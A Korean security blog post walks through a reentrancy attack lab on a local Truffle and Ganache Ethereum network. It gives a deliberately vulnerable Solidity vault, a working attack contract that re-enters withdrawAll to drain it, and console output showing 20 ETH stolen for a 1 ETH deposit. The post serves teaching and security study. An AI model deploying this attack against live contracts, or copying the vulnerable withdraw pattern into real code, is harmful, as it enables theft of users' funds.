본문 바로가기
Hack/Cryptocurrency

Truffle를 통한 Reentrancy Attack 실습해보기

by Becoming a Hacker 2023. 7. 23.
반응형

먼저 Reentrancy Attack에 대한 내용이 궁금하신 분들은 아래 포스팅을 확인해주세요.

 

Reentrancy Attack in Smart Contract

Smart Contract는 블록체인 기술에서 중요한 개념 중 하나로, 계약 체결과 실행을 자동으로 수행할 수 있는 프로그램이며, 블록체인 기술을 활용하여 제 3자의 인증 기관 없이 개인 간 계약이 이루어

hacksms.tistory.com

 

참고로 Local 환경은 Truffle과 Ganache를 이용하여 구축하였습니다. 구축 방법은 아래 포스팅을 확인해주세요.

 

Ethereum 로컬 개발 환경 구성하기 (with Smart Contract)

사실 Etehreum은 Test Nets이 있기 때문에 Remix와 같은 도구들을 통하여 Test Nets에 연결하여 쉽게 이용할 수 있습니다. 그러나 Test Nets은 아래와 같은 일부 단점들을 가지고 있어, 로컬에서 개발 환경이

hacksms.tistory.com

 

취약점에 대해 간략히 설명하자면, 재진입에 대한 검증 구간이 없어 취약 Contract의 모든 자산을 탈취할 수 있는 취약점입니다.

 

취약 Contract

pragma solidity ^0.8.0;

contract vuln_reentrancy {
    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function withdrawAll() external {
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");

        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");

        userBalances[msg.sender] = 0;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}

 

공격 Contract

pragma solidity 0.8.0;

interface vuln_reentrancy {
    function deposit() external payable;
    function withdrawAll() external;
}

contract Attack {
    vuln_reentrancy public immutable etherVault;

    constructor(vuln_reentrancy _etherVault) {
        etherVault = _etherVault;
    }
    
    fallback() external payable {
        if (address(etherVault).balance >= 1 ether) {
            etherVault.withdrawAll();
        }
    }

    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        etherVault.deposit{value: 1 ether}();
        etherVault.withdrawAll();
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

 

이후, Truffle migrate 명령어를 통하여 vuln_reentrancy와 Attack Contract를 Deploy 하였습니다.

 

deploy.js

module.exports = async function(_deployer) {
  var attack = artifacts.require("Attack");
  var vuln = artifacts.require("vuln_reentrancy");
  await _deployer.deploy(vuln);
  const vulnInstance = await vuln.deployed()
  console.log(vulnInstance.address)
  await _deployer.deploy(attack, vulnInstance.address);
};

 

$ truffle migrate

Compiling your contracts...
===========================
> Compiling .\contracts\Attack.sol
> Compiling .\contracts\Test.sol
> Compiling .\contracts\vulnReentracny.sol
> Compilation warnings encountered:

    Warning: SPDX license identifier not provided in source file. Before publishing, consider adding a comment containing "SPDX-License-Identifier: <SPDX-License>" to each source file. Use "SPDX-License-Identifier: UNLICENSED" for non-open-source code. Please see https://spdx.org for more information.
--> project:/contracts/Attack.sol

,Warning: SPDX license identifier not provided in source file. Before publishing, consider adding a comment containing "SPDX-License-Identifier: <SPDX-License>" to each source file. Use "SPDX-License-Identifier: UNLICENSED" for non-open-source code. Please see https://spdx.org for more information.
--> project:/contracts/vulnReentracny.sol

,Warning: This contract has a payable fallback function, but no receive ether function. Consider adding a receive ether function.
 --> project:/contracts/Attack.sol:8:1:
  |
8 | contract Attack {
  | ^ (Relevant source part starts here and spans across multiple lines).
Note: The payable fallback function is defined here.
  --> project:/contracts/Attack.sol:15:5:
   |
15 |     fallback() external payable {
   |     ^ (Relevant source part starts here and spans across multiple lines).


> Artifacts written to C:\Users\USER\evm\build\contracts
> Compiled successfully using:
   - solc: 0.8.0+commit.c7dfd78e.Emscripten.clang

> Duplicate contract names found for vuln_reentrancy.
> This can cause errors and unknown behavior. Please rename one of your contracts.


Starting migrations...
======================
> Network name:    'development'
> Network id:      1690073639325
> Block gas limit: 6721975 (0x6691b7)


1690083873_deploy.js
====================

   Replacing 'vuln_reentrancy'
   ---------------------------
   > transaction hash:    0xdf1d97e1adbe142f815cb4bf860b6b4b925bd0833524ade31c43cd00fab3ac17
   > Blocks: 0            Seconds: 0
   > contract address:    0xEAa6Eb5BeDff4B34e57d9ce4EED986BA42007bF6
   > block number:        72
   > block timestamp:     1690085346
   > account:             0xD253792Ef4de982dC99dF3C43CF3c02b62f366Ef
   > balance:             79.72117464
   > gas used:            340390 (0x531a6)
   > gas price:           20 gwei
   > value sent:          0 ETH
   > total cost:          0.0068078 ETH

0xEAa6Eb5BeDff4B34e57d9ce4EED986BA42007bF6

   Replacing 'Attack'
   ------------------
   > transaction hash:    0x9544c58c9fb4435825984861e3e58e73afcb8581671215f113c54879e9138391
   > Blocks: 0            Seconds: 0
   > contract address:    0xF09A8a9bC911A4a6293c270c29E59418C4235673
   > block number:        73
   > block timestamp:     1690085347
   > account:             0xD253792Ef4de982dC99dF3C43CF3c02b62f366Ef
   > balance:             79.71544014
   > gas used:            286725 (0x46005)
   > gas price:           20 gwei
   > value sent:          0 ETH
   > total cost:          0.0057345 ETH

   > Saving artifacts
   -------------------------------------
   > Total cost:           0.0125423 ETH

Summary
=======
> Total deployments:   2
> Final cost:          0.0125423 ETH

공격을 수행하기 앞서 vuln_reentrancy Contract에 20 ETH를 입금하였습니다.

(web3를 통한 함수 호출)

$ truffle console
> var depositAmountInWei = web3.utils.toWei("20", "ether");
> var vuln = new web3.eth.Contract(vuln_reentrancy.abi, vuln_reentrancy.address)

> vuln.methods.deposit().send({value: depositAmountInWei, from:"0xD253792Ef4de982dC99dF3C43CF3c02b62f366Ef"})
{
  transactionHash: '0xb3a594ae4222fd6d932d72f2a29d426b35bbfaf0ebeae481da9d32118e838936',
  transactionIndex: 0,
  blockHash: '0xbace446e97c4abc063339a1db42464a66871e48fd6751c9668aa89c653a8f57a',
  blockNumber: 46,
  from: '0xd253792ef4de982dc99df3c43cf3c02b62f366ef',
  to: '0xd2f4a6da73b5ebd96f5b651c0ea4f8e656e268e5',
  gasUsed: 42337,
  cumulativeGasUsed: 42337,
  contractAddress: null,
  status: true,
  logsBloom: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
  events: {}
}

> vuln.methods.getUserBalance("0xd253792ef4de982dc99df3c43cf3c02b62f366ef").call()
'20000000000000000000'

 

그리고 Attack Contract에 1ETH를 입금해주면서 attack() 함수를 호출하였습니다.

(Truffle 기능을 통한 함수 호출)

> Attack.deployed().then(instance => a = instance)

> var attackAmountInWei = web3.utils.toWei("1", "ether");
> a.attack({value:attackAmountInWei })
{
  tx: '0xecdf2f402b5b20687a58be3811029db93ed977c7c50ef4394818259cf2fed446',
  receipt: {
    transactionHash: '0xecdf2f402b5b20687a58be3811029db93ed977c7c50ef4394818259cf2fed446',
    transactionIndex: 0,
    blockHash: '0x0c2ca35b7fe927976a083231fa2d43e416c488d3e8efbac53f19d0d756298438',
    blockNumber: 75,
    from: '0xd253792ef4de982dc99df3c43cf3c02b62f366ef',
    to: '0xf09a8a9bc911a4a6293c270c29e59418c4235673',
    gasUsed: 284105,
    cumulativeGasUsed: 284105,
    contractAddress: null,
    logs: [],
    status: true,
    logsBloom: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
    rawLogs: []
  },
  logs: []
}

 

이후 각 계정들의 자산 상태를 확인해보면 Reentrancy Attack이 성공적으로 수행되어, vuln_reentrancy Contract 자산을 Attack Contract가 모두 획득한 것을 확인할 수 있습니다. 

 

Attack Contract는 단 1ETH만 입금했지만, Reentrancy Attack을 통해 20ETH을 탈취하여 총 21ETH을 획득할 수 있었습니다.

# vuln_reentrancy에 20ETH를 입급한 0xd253792ef4de982dc99df3c43cf3c02b62f366ef의 자산 현황을 보면 모든 ETH가 남아있음을 확인할 수 있음
> vuln.methods.getUserBalance("0xd253792ef4de982dc99df3c43cf3c02b62f366ef").call()
'20000000000000000000'

# 그러나 실제 vuln_reentrancy 자산을 확인해보면, 모든 ETH가 출금된 것을 확인할 수 있음
> vuln.methods.getBalance().call()
'0'

# Attack Contract의 자산을 확인해보면, vuln_reentrancy의 20ETH를 탈취하여 총 21ETH를 보유하고 있는 것을 확인할 수 있음
> var b = await a.getBalance()
> web3.utils.fromWei(b,"ether")
'21'

댓글